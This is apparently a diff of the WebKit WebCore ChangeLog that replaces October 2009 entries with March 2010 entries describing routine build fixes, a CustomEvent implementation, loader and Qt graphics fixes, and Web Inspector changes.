-        * html/canvas/CanvasRenderingContext3D.cpp:
-        * html/canvas/CanvasRenderingContext3D.h:
-        (WebCore::CanvasRenderingContext3D::graphicsContext3D):
-        (WebCore::CanvasRenderingContext3D::cleanupAfterGraphicsCall):
-        * platform/graphics/GraphicsContext3D.h:
-        * platform/graphics/mac/Canvas3DLayer.mm:
-        (-[Canvas3DLayer copyCGLPixelFormatForDisplayMask:]):
-        * platform/graphics/mac/GraphicsContext3DMac.cpp:
-        (WebCore::setPixelFormat):
-        (WebCore::GraphicsContext3D::create):
-        (WebCore::GraphicsContext3D::GraphicsContext3D):
-        (WebCore::GraphicsContext3D::~GraphicsContext3D):
-        (WebCore::GraphicsContext3D::reshape):
-        (WebCore::ensureContext):
-
-2009-10-27  Geoffrey Garen  <ggaren@apple.com>
-
-        Mac build fix: a forwarding header.
-
-        * ForwardingHeaders/wtf/DateInstanceCache.h: Added.
-
-2009-10-27  Ryosuke Niwa  <rniwa@webkit.org>
-
-        No Review.
-
-        Making fontWeightIsBold static to fix Snow Leopard build.
-
-        * editing/ApplyStyleCommand.cpp:
-        (WebCore::fontWeightIsBold):
-
-2009-10-27  Ryosuke Niwa  <rniwa@webkit.org>
-
-        Reviewed by Eric Seidel.
-
-        WebKit cannot remove nested bold tags
-        https://bugs.webkit.org/show_bug.cgi?id=30784
-
-        This patch modifies getPropertiesNotInComputedStyle so that it compares font-weight
-        more flexibly. Instead of comparing cssText, it uses fontWeightIsBold which converts
-        all font weights to either bold or unbold state.
-
-        * editing/ApplyStyleCommand.cpp:
-        (WebCore::fontWeightIsBold):
-        (WebCore::getPropertiesNotInComputedStyle): Removes font-weight property
-        if two style have the same value under getFontWeightValue
-
-2009-10-27  Carol Szabo  <carol.szabo@nokia.com>
-
-        Reviewed by Darin Adler.
+        Fix regression introduced in http://trac.webkit.org/changeset/54526. 
+        Restarting the request timer unconditionally from the timer callback is a bad idea. 
+        Instead, start the timer when a non-cached request completes.
 
-        Give an ability to WebKit to free statically allocated pointers
-        before quit.
-        https://bugs.webkit.org/show_bug.cgi?id=27980
-
-        No new tests for this as the change does not affect WebKit
-        functionality, but only memory usage.
-
-        * JavaScriptCore/wtf/StdLibExtras.h:
-        Allowed for the override of DEFINE_STATIC_LOCAL via compiler 
-        commandline options or elsewhere in the code. Useful for 
-        implementing custom builds that free resources allocated via
-        DEFINE_STATIC_LOCAL.
-
-2009-10-27  Dumitru Daniliuc  <dumi@chromium.org>
-
-        Build fix, no review needed.
-
-        Fixing the BUILD. m_estimatedSize in Database.h should be of type
-        'unsigned long' instead of 'unsigned long long'.
-
-        No tests required.
-
-        * storage/Database.h:
+        * loader/loader.cpp:
+        (WebCore::Loader::Host::nonCacheRequestComplete):
+        (WebCore::Loader::Host::servePendingRequests):
 
-2009-10-27  Dumitru Daniliuc  <dumi@chromium.org>
+2010-03-29  Thomas Zander  <t.zander@nokia.com>
 
-        Reviewed by Adam Barth.
+        Reviewed by Simon Hausmann.
 
-        Refactoring the Database class to not depend on
-        OriginQuotaManager. Also, adding a SecurityOrigin copy to each
-        Database instance, that is safe to use on the file
-        thread. Finally, adding new simple fields and getters to the
-        Database object for storing/getting the display name and estimated
-        size specified by the user in the openDatabase() call.
+        [Qt] Shadowbuilds of WebCore with Qt on Symbian fails.
 
-        https://bugs.webkit.org/show_bug.cgi?id=30548
+        https://bugs.webkit.org/show_bug.cgi?id=36749
 
-        * page/SecurityOrigin.h:
-        * storage/Database.cpp:
-        (WebCore::Database::openDatabase): Storing the display name and
-        the estimated size in the Database object.
-        (WebCore::Database::Database): Storing the display name and the
-        estimated size in the Database object, as well as a SecurityOrigin
-        instance that is safe to use on the DB thread.
-        (WebCore::Database::maximumSize): Delegate the call to
-        DatabaseTracker::getMaxSizeForDatabase().
-        (WebCore::Database::databaseThreadSecurityOrigin): Return the
-        SecurityOrigin instance that's safe to use on the DB thread.
-        (WebCore::Database::threadSafeSecurityOrigin): Return the
-        SecurityOrigin instance that's safe to use on the current thread.
-        (WebCore::Database::displayName): Return the display name
-        specified by the user in the openDatabase() call.
-        (WebCore::Database::estimatedSize): Return the estimated size
-        specified by the user in the openDatabase() call.
-        (WebCore::Database::fileName): Return the name of the file where
-        the current Database is tored.
-        * storage/Database.h:
-        * storage/DatabaseTracker.cpp:
-        (WebCore::DatabaseTracker::getMaxSizeForDatabase): Returns the
-        maximum size for a DB file based on the current size of that file
-        and the space available for that origin.
-        * storage/DatabaseTracker.h:
-        * storage/SQLTransaction.cpp:
-        * storage/SQLTransactionClient.cpp:
-        (WebCore::SQLTransactionClient::didCommitTransaction): Use the
-        correct SecurityOrigin instance.
+        Doing a 'make sis' expects the dll in the libdir, so place it
+        there. This fixes out-of-source building to always put the dll
+        in the expected dir.
 
-2009-10-27  Joseph Pecoraro  <joepeck@webkit.org>
+        * WebCore.pro: Fix for shadow builds inside Qt.
 
-        Reviewed by Timothy Hatcher.
+2010-03-29  Thomas Zander  <t.zander@nokia.com>
 
-        Web Inspector: Pretty Print all HTML Collection Types like we do for NodeList
-        https://bugs.webkit.org/show_bug.cgi?id=30709
+        Reviewed by Simon Hausmann.
 
-        Test: inspector/console-format-collections.html
+        [Qt] Make it possible to build using both Windows and Linux for Symbian
+        https://bugs.webkit.org/show_bug.cgi?id=36748
 
-        * inspector/front-end/InjectedScript.js:
-        (Object.type): check for instances of HTMLCollection like we do for NodeList
-        * inspector/front-end/inspector.js: added WebInspector.pendingDispatches counter
-        (WebInspector.dispatch): increment and decrement dispatch counter
-        (WebInspector.runAfterPendingDispatches): run when there are no more dispatches
+        * WebCore.pro: don't assume Windows buildsystem is the only one
+        and exclude the windows-only setters from the linux builds.
 
-2009-10-27  Kelly Norton  <knorton@google.com>
+2010-03-29  Thomas Zander  <t.zander@nokia.com>
 
-        Reviewed by Timothy Hatcher.
+        Reviewed by Simon Hausmann.
 
-        Adds XMLHttpRequest support to InspectorTimelineAgent.
-        https://bugs.webkit.org/show_bug.cgi?id=30578
+        https://bugs.webkit.org/show_bug.cgi?id=36745
 
-        * inspector/InspectorTimelineAgent.cpp:
-        (WebCore::InspectorTimelineAgent::willChangeXHRReadyState):
-        (WebCore::InspectorTimelineAgent::didChangeXHRReadyState):
-        (WebCore::InspectorTimelineAgent::willLoadXHR):
-        (WebCore::InspectorTimelineAgent::didLoadXHR):
-        * inspector/InspectorTimelineAgent.h:
-        (WebCore::):
-        * inspector/TimelineRecordFactory.cpp:
-        (WebCore::TimelineRecordFactory::createXHRReadyStateChangeTimelineRecord):
-        (WebCore::TimelineRecordFactory::createXHRLoadTimelineRecord):
-        * inspector/TimelineRecordFactory.h:
-        * inspector/front-end/TimelineAgent.js:
-        * xml/XMLHttpRequest.cpp:
-        (WebCore::XMLHttpRequest::callReadyStateChangeListener):
+        [Qt] Fix def file builds with Qt 4.7.
 
-2009-10-27  Enrica Casucci  <enrica@apple.com>
+        Switched to using DEF_FILE, which is the official variable.
 
-        Reviewed by Adele Peterson.
+        * WebCore.pro: Use DEF_FILE
 
-        REGRESSION (Safari 4.0.3-ToT): After pressing Shift-PageDown, pressing Shift-Up 
-        extends the top of the selection upwards (but should shrink the selection instead)
-        <rdar://problem/7269075>
-        https://bugs.webkit.org/show_bug.cgi?id=29981
+2010-03-28  Kim Grönholm  <kim.gronholm@nomovok.com>
 
-        * editing/SelectionController.cpp:
-        (WebCore::SelectionController::modify): Added setting m_lastChangeWasHorizontalExtension.
+        Reviewed by Simon Hausmann.
 
-2009-10-27  Brian Weinstein  <bweinstein@apple.com>
+        [Qt] GraphicsLayer: Timing functions don't work with transitions
+        https://bugs.webkit.org/show_bug.cgi?id=36589
 
-        Rubber-stamped by Tim Hatcher.
+        If the animation value doesn't have timing function set, we need to
+        use the animation's timing function.
         
-        Removed an extra console.log from ElementsTreeOutline.
-
-        * inspector/front-end/ElementsTreeOutline.js:
-
-2009-10-27  Keishi Hattori  <casey.hattori@gmail.com>
-
-        Reviewed by Timothy Hatcher.
-
-        Rewrote JavaScriptSourceSyntaxHighlighter to be more accurate
-        https://bugs.webkit.org/show_bug.cgi?id=27147
-
-        Tests: LayoutTests/inspector/javascript-syntax-highlight.html
-
-        * inspector/front-end/ElementsTreeOutline.js:
-        * inspector/front-end/SourceFrame.js:
-        (WebInspector.JavaScriptSourceSyntaxHighlighter.process): Added. Processes 100 tokens at a time.
-        (WebInspector.JavaScriptSourceSyntaxHighlighter.lex): Added. Scans for a token.
-        (WebInspector.JavaScriptSourceSyntaxHighlighter.appendNonToken): Added. Appends the non-token characters that lex ignored.
-        (WebInspector.JavaScriptSourceSyntaxHighlighter.syntaxHighlightNode): Added. To syntax highlight node in ElementsTreeOutline.
-
-2009-10-27  Mads Ager  <ager@chromium.org>
-
-        Reviewed by Adam Barth.
-
-        [V8] Missing null check after string conversion in error reporting
-        https://bugs.webkit.org/show_bug.cgi?id=30774
-
-        Add null check after string conversion in error reporting code.
-        ToString conversion can fail for instance when an exception is
-        thrown during conversion.
-
-        Test: fast/dom/error-to-string-stack-overflow.html
-
-        * bindings/v8/V8Utilities.cpp:
-        (WebCore::reportException):
+        Fixed also a bug in passing the duration to solveCubicBezierFunction.
+        The duration was divided two times by 1000 and meanwhile casted to int.
+        It needs to be kept as double and divided by 1000 only once.
 
-2009-10-27  Steve Block  <steveblock@google.com>
+        Test case: https://bugs.webkit.org/attachment.cgi?id=51619
 
-        Reviewed by Darin Adler.
-
-        Use a pair of maps to store Geolocation watchers.
-        https://bugs.webkit.org/show_bug.cgi?id=29178
-
-        The pair of maps allows us to look up a watcher either by its ID or by its GeoNotifier object.
-        The ability to look up by a watcher by its GeoNotifier object will be required when implementing
-        Geolocation::fatalErrorOccurred. See https://bugs.webkit.org/show_bug.cgi?id=27944
+        * platform/graphics/qt/GraphicsLayerQt.cpp:
+        (WebCore::applyTimingFunction):
+        (WebCore::AnimationQt:::AnimationQtBase):
+        (WebCore::AnimationQt::updateCurrentTime):
 
-        * page/Geolocation.cpp: Modified.
-        (WebCore::Geolocation::Watchers::set): Added. Adds a watcher with the given ID.
-        (WebCore::Geolocation::Watchers::remove): Added. Removes a watcher by ID.
-        (WebCore::Geolocation::Watchers::remove): Added. Removes a watcher by GeoNotifier object.
-        (WebCore::Geolocation::Watchers::clear): Added. Removes all watchers.
-        (WebCore::Geolocation::Watchers::isEmpty): Added. Determines if there are no watchers.
-        (WebCore::Geolocation::Watchers::getNotifiersVector): Added. Gets a vector of the GeoNotifier objects.
-        (WebCore::Geolocation::watchPosition): Modified. Rename watcher identifier static variable.
-        (WebCore::Geolocation::stopTimersForWatchers): Modified. Use Watchers::getNotifiersVector.
-        (WebCore::Geolocation::handleError): Modified. Use Watchers::getNotifiersVector.
-        (WebCore::Geolocation::makeSuccessCallbacks): Modified. Use Watchers::getNotifiersVector.
-        * page/Geolocation.h: Modified. Adds Geolocation::Watchers class.
-
-2009-10-27  Jeremy Orlow  <jorlow@chromium.org>
-
-        Reviewed by Dimitri Glazkov.
+2010-03-28  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
 
-        [V8] DOM Storage runtime flag should default to on
-        https://bugs.webkit.org/show_bug.cgi?id=30828
-
-        The DOM Storage runtime flag was supposed to default to on.  I accidentally
-        changed the logic to default to false when I moved the flag.
-
-        * bindings/v8/RuntimeEnabledFeatures.cpp:
-
-2009-10-27  Fumitoshi Ukai  <ukai@chromium.org>
-
-        Reviewed by Dimitri Glazkov.
-
-        Fix crash found in chromium test_shell.
-        https://bugs.webkit.org/show_bug.cgi?id=30808
-
-        When WebSocket is deleted without close, webkit would crash
-        when it handles didClose.
-
-        Check scriptExecutionContext before post task for event.
-        Use WebSocketChannel::disconnect() instead of close() in WebSocket
-        destructor, so that WebSocketChannel should not call deleted WebSocket
-        back in didClose().
-        To make sure WebSocketChannel alive while it is processing WebSocket
-        protocol over SocketStreamHandle, ref() in connect() and deref() in
-        didClose().
-
-        * websockets/WebSocket.cpp:
-        (WebCore::WebSocket::~WebSocket):
-        (WebCore::WebSocket::didConnect):
-        (WebCore::WebSocket::didReceiveMessage):
-        (WebCore::WebSocket::didClose):
-        * websockets/WebSocketChannel.cpp:
-        (WebCore::WebSocketChannel::connect):
-        (WebCore::WebSocketChannel::disconnect):
-        (WebCore::WebSocketChannel::didClose):
-        (WebCore::WebSocketChannel::didReceiveData):
-        * websockets/WebSocketChannel.h:
+        Reviewed by Simon Hausmann.
 
-2009-10-27  Dan Bernstein  <mitz@apple.com>
+        [Qt] Remove the definition of WTF_CHANGES guards from the build system
+        https://bugs.webkit.org/show_bug.cgi?id=31670
 
-        Reviewed by Darin Adler.
+        No new tests as there is no new functionality.
 
-        Updated Apple license
+        * WebCore.pri: Remove the definition of WTF_CHANGES
+        as it is already defined in config.h
 
-        * LICENSE-APPLE:
+2010-03-26  Janne Koskinen  <janne.p.koskinen@digia.com>
 
-2009-10-27  Brady Eidson  <beidson@apple.com>
+        Reviewed by Laszlo Gombos.
 
-        Rubberstamped by Sam Weinig.
+        Don't undefine SKIP_STATIC_CONSTRUCTORS_ON_GCC for Symbian HW targets.
+        https://bugs.webkit.org/show_bug.cgi?id=34081
 
-        Re-enable the check that disallows pages with unload handlers in the page cache.
+        Defining StringImpl instances as globals will cause a crash on process exit as 
+        StringImpl::Remove expects TLS which was already deleted at time of exiting main and ends up
+        constructing one exiting thread.
 
-        <rdar://problem/7196485> and http://webkit.org/b/29021 
+        * config.h:
 
-        * loader/FrameLoader.cpp:
-        (WebCore::FrameLoader::canCachePageContainingThisFrame):
-        (WebCore::FrameLoader::logCanCacheFrameDecision):
+2010-03-26  Jocelyn Turcotte  <jocelyn.turcotte@nokia.com>
 
-2009-10-27  Timothy Hatcher  <timothy@apple.com>
+        Reviewed by Simon Hausmann.
 
-        Remove more empty files that didn't get removed earlier.
+        [Qt] Build JavaScriptCore as a static library.
+        https://bugs.webkit.org/show_bug.cgi?id=36590
 
-        * inspector/DOMDispatchTimelineItem.cpp: Removed.
-        * inspector/DOMDispatchTimelineItem.h: Removed.
+        This patch takes what was left of the unused JavaScriptCore.pro
+        and moved the compilation logic from JavaScriptCore.pri to
+        JavaScriptCore.pro.
 
-2009-10-27  Andras Becsi  <becsi.andras@stud.u-szeged.hu>
+        * WebCore.pro:
 
-        Reviewed by Tor Arne Vestbø.
+2010-03-25  Jakub Wieczorek  <jwieczorek@webkit.org>
 
-        [Qt] Fix assertion crashes introduced by changes made in r50110.
+        Reviewed by Eric Seidel.
 
-        * dom/XMLTokenizerQt.cpp:
-        (WebCore::XMLTokenizer::parseEndElement): only call popCurrentNode() if there are nodes left in the stack.
+        [Qt] RenderTheme: fix size adjustment for text fields
+        https://bugs.webkit.org/show_bug.cgi?id=36413
 
-2009-10-27  Timothy Hatcher  <timothy@apple.com>
+        To match other ports, remove the hardcoded dimensions for text fields so that
+        the default ones from WebCore can be used.
+        Properly apply the correct padding to text areas - this fixes their appearance
+        with the Oxygen style.
 
-        Remove empty files that didn't get removed earlier.
+        * platform/qt/RenderThemeQt.cpp:
+        (WebCore::RenderThemeQt::computeSizeBasedOnStyle):
 
-        * inspector/TimelineItem.cpp: Removed.
-        * inspector/TimelineItem.h: Removed.
+2010-03-26  Qi Zhang  <qi.2.zhang@nokia.com>
 
-2009-10-27  Joanmarie Diggs  <joanmarie.diggs@gmail.com>
+        Reviewed by Laszlo Gombos.
 
-        Reviewed by Xan Lopez.
+        [Qt] fast/canvas/drawImage-with-negative-source-destination.html failed
+        https://bugs.webkit.org/show_bug.cgi?id=35005
 
-        https://bugs.webkit.org/show_bug.cgi?id=25534
-        [GTK] Objects of ROLE_TABLE should implement the accessible table interface
+        To support negative width or height at context.drawImage
 
-        First part of the implementation of AtkTable.
+        * platform/graphics/qt/StillImageQt.cpp:
+        (WebCore::StillImage::draw):
 
-        * accessibility/gtk/AccessibilityObjectWrapperAtk.cpp:
-        (getCell):
-        (getCellIndex):
-        (webkit_accessible_table_ref_at):
-        (webkit_accessible_table_get_index_at):
-        (webkit_accessible_table_get_n_columns):
-        (webkit_accessible_table_get_n_rows):
-        (webkit_accessible_table_get_column_extent_at):
-        (webkit_accessible_table_get_row_extent_at):
-        (webkit_accessible_table_get_row_header):
-        (atk_table_interface_init):
-        (AtkInterfacesInitFunctions):
-        (GetAtkInterfaceTypeFromWAIType):
+2010-03-24  Dmitry Titov  <dimich@chromium.org>
 
-2009-10-27  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
+        Unreviewed, Chromium test fix.
 
-        Reviewed by Lars Knoll.
+        Recent r56445 added CustomEvent and a test but it didn't work on Chromium bots.
+        Test crashed due to infinte recursion because the compiler did not have the right definition of toV8(CustomEvent*)
+        and was substituting toV8(Event*).
 
-        [Qt] Don't lose remainder when computing wheel event deltas
+        Fixing test fast/events/custom-event.html
 
-        * platform/qt/WheelEventQt.cpp:
+        * bindings/v8/custom/V8EventCustom.cpp:
 
-2009-10-27  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+2010-03-03  Kenneth Rohde Christiansen  <kenneth@webkit.org>
 
         Reviewed by Antti Koivisto.
 
-        Fix QtWebKit build for WIN_OS if Netscape plug-in support
-        is turned off and refactor some related code
-        https://bugs.webkit.org/show_bug.cgi?id=30786
-
-        No new tests as there is no new functionality introduced.
-
-        * platform/FileSystem.h: Refactor to make sure that each different
-        type definition is only repeated once.
-
-        * plugins/PluginPackage.cpp:
-        (WebCore::PluginPackage::compareFileVersion): Move it out from the
-        ENABLE_PLUGIN_PACKAGE_SIMPLE_HASH guard and combine it with the
-        function body from PluginPackageWin.
-
-        * plugins/win/PluginPackageWin.cpp: Remove compareFileVersion as
-        it is now in PluginPackage.cpp.
-
-2009-10-26  Xan Lopez  <xlopez@igalia.com>
-
-        Reviewed by Gustavo Noronha.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27011
-        [Gtk] Implement support for get_index_in_parent
-
-        Implement atk_object_get_index_in_parent.
-
-        * accessibility/gtk/AccessibilityObjectWrapperAtk.cpp:
-        (webkit_accessible_get_index_in_parent):
-
-2009-10-27  Eric Seidel  <eric@webkit.org>
-
-        No review, rolling out r50131.
-        http://trac.webkit.org/changeset/50131
-
-        * bridge/objc/objc_instance.h:
-        * bridge/objc/objc_instance.mm:
-        (ObjcInstance::ObjcInstance):
-        (ObjcInstance::virtualEnd):
-
-2009-10-26  Daniel Bates  <dbates@webkit.org>
-
-        Reviewed by Darin Adler.
-
-        https://bugs.webkit.org/show_bug.cgi?id=30491
-
-        Fixes an issue where pressing return/enter on the keyboard 
-        in <isindex> does not submit it if is not within a <form>.
-
-        According to the HTML 2.0 thru HTML 4.01 spec 
-        (http://www.w3.org/MarkUp/html-spec/html-spec_7.html#SEC7.5), the 
-        <isindex> element does not need to be within a <form> element in 
-        order to submit it. It can submitted on its own. Also, if present,
-        the href property of the <base> element will dictate where to submit
-        the value of the <isindex> element (this is analogous to the action 
-        property of the <form> element).
-
-        Tests: http/tests/misc/isindex-with-no-form-base-href.html
-               http/tests/misc/isindex-with-no-form.html
-
-        * html/HTMLInputElement.cpp:
-        (WebCore::HTMLInputElement::defaultEventHandler): Calls createTemporaryFormForIsIndex()
-        to create a <form> if none is present and we are an <isindex> element.
-        (WebCore::HTMLInputElement::createTemporaryFormForIsIndex): Added.
-        * html/HTMLInputElement.h:
-
-2009-10-26  Oliver Hunt  <oliver@apple.com>
-
-        Reviewed by Maciej Stachowiak.
-
-        Crash occurs after launching Newsfire 1.6 for the first time
-        https://bugs.webkit.org/show_bug.cgi?id=30807
-
-        Use a RetainPtr in ObjcBinding to ensure that we adequately
-        protect the autorelease pool from GC in GC'd applications.
-
-        * bridge/objc/objc_instance.h:
-        * bridge/objc/objc_instance.mm:
-        (ObjcInstance::ObjcInstance):
-        (ObjcInstance::virtualEnd):
-
-2009-10-26  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
-
-        Unreviewed.
-
-        [Qt] Build fix for QtWebKit after r50125.
-
-        * WebCore.pro: Rename TimelineItem to TimelineRecord.
-
-2009-10-26  Matt Mueller  <mattm@chromium.org>
-
-        Reviewed by Darin Adler.
-
-        Refactor synchronizable property handling to store one shouldSynchronize flag per set of properties rather than one per property.
-
-        Fixes reading uninitialized memory in SynchronizableProperty hash function as well as simplifying the code.
-
-        https://bugs.webkit.org/show_bug.cgi?id=30658
-
-        Covered by running various svg tests under valgrind, ex:
-        LayoutTests/svg/custom/js-late-mask-and-object-creation.svg
-
-        * svg/SynchronizablePropertyController.cpp:
-        (WebCore::SynchronizableProperties::addProperty):
-        (WebCore::SynchronizableProperties::synchronize):
-        (WebCore::SynchronizableProperties::startAnimation):
-        (WebCore::SynchronizableProperties::stopAnimation):
-        (WebCore::SynchronizablePropertyController::registerProperty):
-        (WebCore::SynchronizablePropertyController::setPropertyNeedsSynchronization):
-        (WebCore::SynchronizablePropertyController::synchronizeProperty):
-        (WebCore::SynchronizablePropertyController::synchronizeAllProperties):
-        (WebCore::SynchronizablePropertyController::startAnimation):
-        (WebCore::SynchronizablePropertyController::stopAnimation):
-        * svg/SynchronizablePropertyController.h:
-        (WebCore::SynchronizableProperties::SynchronizableProperties):
-        (WebCore::SynchronizableProperties::setNeedsSynchronization):
+        Add support for DOM Level 3 Custom Event
+        http://www.w3.org/TR/DOM-Level-3-Events
 
-2009-10-26  Kelly Norton  <knorton@google.com>
+        V8 Generator change by Nate Chapin <japhet@chromium.org>, Thanks!
 
-        Reviewed by Timothy Hatcher.
-
-        Renames TimelineItem to TimelineRecord and updates all call sites.
-        https://bugs.webkit.org/show_bug.cgi?id=30785
+        Test: fast/events/custom-event.html
 
-        * GNUmakefile.am: 
+        * DerivedSources.cpp:
+        * GNUmakefile.am:
         * WebCore.gypi:
+        * WebCore.pri:
+        * WebCore.pro:
+        * WebCore/DerivedSources.make:
         * WebCore.vcproj/WebCore.vcproj:
         * WebCore.xcodeproj/project.pbxproj:
-        * inspector/InspectorFrontend.cpp:
-        (WebCore::InspectorFrontend::addRecordToTimeline):
-        * inspector/InspectorFrontend.h:
-        * inspector/InspectorTimelineAgent.cpp:
-        (WebCore::InspectorTimelineAgent::willDispatchDOMEvent):
-        (WebCore::InspectorTimelineAgent::didDispatchDOMEvent):
-        (WebCore::InspectorTimelineAgent::willLayout):
-        (WebCore::InspectorTimelineAgent::didLayout):
-        (WebCore::InspectorTimelineAgent::willRecalculateStyle):
-        (WebCore::InspectorTimelineAgent::didRecalculateStyle):
-        (WebCore::InspectorTimelineAgent::willPaint):
-        (WebCore::InspectorTimelineAgent::didPaint):
-        (WebCore::InspectorTimelineAgent::willWriteHTML):
-        (WebCore::InspectorTimelineAgent::didWriteHTML):
-        (WebCore::InspectorTimelineAgent::didInstallTimer):
-        (WebCore::InspectorTimelineAgent::didRemoveTimer):
-        (WebCore::InspectorTimelineAgent::willFireTimer):
-        (WebCore::InspectorTimelineAgent::didFireTimer):
-        (WebCore::InspectorTimelineAgent::reset):
-        (WebCore::InspectorTimelineAgent::addRecordToTimeline):
-        (WebCore::InspectorTimelineAgent::didCompleteCurrentRecord):
-        (WebCore::InspectorTimelineAgent::pushCurrentRecord):
-        * inspector/InspectorTimelineAgent.h:
-        (WebCore::):
-        (WebCore::InspectorTimelineAgent::RecordEntry::RecordEntry):
-        * inspector/TimelineItemFactory.cpp: Removed.
-        * inspector/TimelineItemFactory.h: Removed.
-        * inspector/TimelineRecordFactory.cpp: Added.
-        (WebCore::TimelineRecordFactory::createGenericRecord):
-        (WebCore::TimelineRecordFactory::createDOMDispatchRecord):
-        (WebCore::TimelineRecordFactory::createGenericTimerRecord):
-        (WebCore::TimelineRecordFactory::createTimerInstallRecord):
-        * inspector/TimelineRecordFactory.h: Added.
-        (WebCore::TimelineRecordFactory::TimelineRecordFactory):
-        * inspector/front-end/TimelineAgent.js:
-        (WebInspector.addRecordToTimeline):
-        * inspector/front-end/TimelinePanel.js:
-        (WebInspector.TimelinePanel.prototype.addRecordToTimeline):
-        (WebInspector.TimelinePanel.prototype._innerAddRecordToTimeline):
-        (WebInspector.TimelinePanel.prototype.getRecordTypeName):
-        (WebInspector.TimelineRecordTreeElement.prototype.onattach):
-
-2009-10-26  Girish Ramakrishnan  <girish@forwardbias.in>
-
-        Reviewed by Antti Koivisto.
-
-        [Qt] Windowless Plugins : Print preview shows only part of flash when view is scrolled
-        
-        When printing, QPrinter's preview mode uses a QPicture to capture the output. The
-        QPicture holds a reference to the X Pixmap. As a result, the print preview would
-        update itself when the X Pixmap changes. To prevent the print preview from updating
-        whenever m_drawable is updated (i.e when the view updates), we create a copy.
-        
-        We require that a QPixmap::copy() result in a QPixmap backed by a XPixmap
-        regardless of the graphicssystem. This is taken care of by
-        commit d310f7c710ecb331a9689861f0551eabd38e946e in Qt (4.6)
-        
-        The beauty of this patch is that the newly created X Pixmap is managed by Qt and
-        it will free the Pixmap whenever the user closes the print preview dialog and
-        handles the case of displaying multiple preview dialogs nicely.
-        
-        All credit to Samuel Rødal for suggesting usage of QPixmap::copy().
-        
-        https://bugs.webkit.org/show_bug.cgi?id=30714
-
-        * plugins/qt/PluginViewQt.cpp:
-        (WebCore::PluginView::paint):
-
-2009-10-26  Benjamin Otte  <otte@gnome.org>
+        * bindings/js/JSEventCustom.cpp:
+        (WebCore::toJS):
+        * bindings/scripts/CodeGeneratorJS.pm:
+        * bindings/scripts/CodeGeneratorV8.pm:
+        * dom/CustomEvent.cpp: Added.
+        (WebCore::CustomEvent::CustomEvent):
+        (WebCore::CustomEvent::initCustomEvent):
+        (WebCore::CustomEvent::isCustomEvent):
+        * dom/CustomEvent.h: Added.
+        (WebCore::CustomEvent::create):
+        (WebCore::CustomEvent::detail):
+        * dom/Document.cpp:
+        (WebCore::Document::createEvent):
+        * dom/Event.cpp:
+        (WebCore::Event::isCustomEvent):
+        * dom/Event.h:
 
-        Reviewed by Gustavo Noronha.
+2010-03-23  Kenneth Rohde Christiansen  <kenneth@webkit.org>
 
-        Don't store properties in the MediaPlayerPrivate class
+        Reviewed by Simon Hausmann.
 
-        Access them via the MediaPlayer class instead.
-        https://bugs.webkit.org/show_bug.cgi?id=30462
+        Add a way to check if the page client is making use of
+        a QWidget.
 
-        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
-        (WebCore::MediaPlayerPrivate::MediaPlayerPrivate):
-        (WebCore::MediaPlayerPrivate::seek):
-        (WebCore::MediaPlayerPrivate::setVolume):
-        (WebCore::MediaPlayerPrivate::setRate):
-        (WebCore::MediaPlayerPrivate::setVisible):
-        (WebCore::MediaPlayerPrivate::paint):
-        (WebCore::MediaPlayerPrivate::createGSTPlayBin):
-        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.h:
+        * platform/qt/QWebPageClient.h:
+        (QWebPageClient::isQWidgetClient):
 
-2009-10-26  Brian Weinstein  <bweinstein@apple.com>
+2010-03-25  Antti Koivisto  <koivisto@iki.fi>
 
-        Reviewed by Timothy Hatcher.
+        Reviewed by Kenneth Rohde Christiansen.
 
-        Fixes <http://webkit.org/b/30801>.
-        Web Inspector: Control + ]/[ on Windows doesn't change Panels.
+        https://bugs.webkit.org/show_bug.cgi?id=36316
+        Tiles of selected content do not update if not in viewport
         
-        In my testing, Windows uses "U+00DB" and "U+00DD" to represent
-        [ and ], so we should honor those as well.
-
-        * inspector/front-end/inspector.js:
-        (WebInspector.documentKeyDown):
-
-2009-10-26  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
-
-        Reviewed by Darin Adler.
-
-        Make .rc files compile on Windows without depending on MFC headers
-        https://bugs.webkit.org/show_bug.cgi?id=30750
-
-        * WebCore.vcproj/QTMovieWin.rc: Use winresrc.h because it exists 
-        even when MFC is not installed, and is all that's needed here.
-
-2009-10-26  Brent Fulgham  <bfulgham@webkit.org>
-
-        Reviewed by Darin Adler.
-
-        Build corrections for ENABLE_FILTERS in Windows.
-        https://bugs.webkit.org/show_bug.cgi?id=30797
-
-        Build correction for ENABLE_FILTERS feature.  No new tests needed.
-
-        * platform/graphics/filters/FEColorMatrix.cpp: Use MathExtras.h and
-          its piDouble constant.
-        * platform/graphics/filters/FEGaussianBlur.cpp: Use MathExtras.h and
-          its piDouble constant.  Remove unnecessary call to floor used in
-          the division of an unsigned, converting to int.
-        * platform/graphics/win/SimpleFontDataCairoWin.cpp: Correct include
-          style for MathExtras.h.
-
-2009-10-26  Brady Eidson  <beidson@apple.com>
-
-        Reviewed by Darin Adler.
+        Don't clip repaints to viewport when tiling is enabled.
 
-        <rdar://problem/7289467> and http://webkit.org/b/30798 - REGRESSION (r48687): www.myuhc.com doesn't load.
-
-        Test: fast/loader/grandparent-completion-starts-redirect.html
-
-        * loader/FrameLoader.cpp:
-        (WebCore::FrameLoader::completed): Notify all descendants that the load completed, not just direct children.
-
-2009-10-26  Dan Bernstein  <mitz@apple.com>
-
-        Reviewed by Beth Dakin.
-
-        Re-add CSSPropertyWebkitBackgroundSize in one more place
-
-        Fixes transitions/multiple-background-size-transitions.html, transitions/background-transitions.html
-
-        * page/animation/AnimationBase.cpp:
-        (WebCore::FillLayersPropertyWrapper::FillLayersPropertyWrapper):
-
-2009-10-26  Jeremy Orlow  <jorlow@chromium.org>
-
-        Reviewed by Dimitri Glazkov.
-
-        [V8] Tidy up the DOM Storage runtime flag stuff
-        https://bugs.webkit.org/show_bug.cgi?id=30794
-
-        Clean up the DOM Storage runtime flag stuff to match the new way of doing
-        things.  No behavioral changes.
-
-        * bindings/v8/RuntimeEnabledFeatures.cpp:
-        * bindings/v8/RuntimeEnabledFeatures.h:
-        (WebCore::RuntimeEnabledFeatures::setDatabaseEnabled):
-        (WebCore::RuntimeEnabledFeatures::databaseEnabled):
-        (WebCore::RuntimeEnabledFeatures::setLocalStorageEnabled):
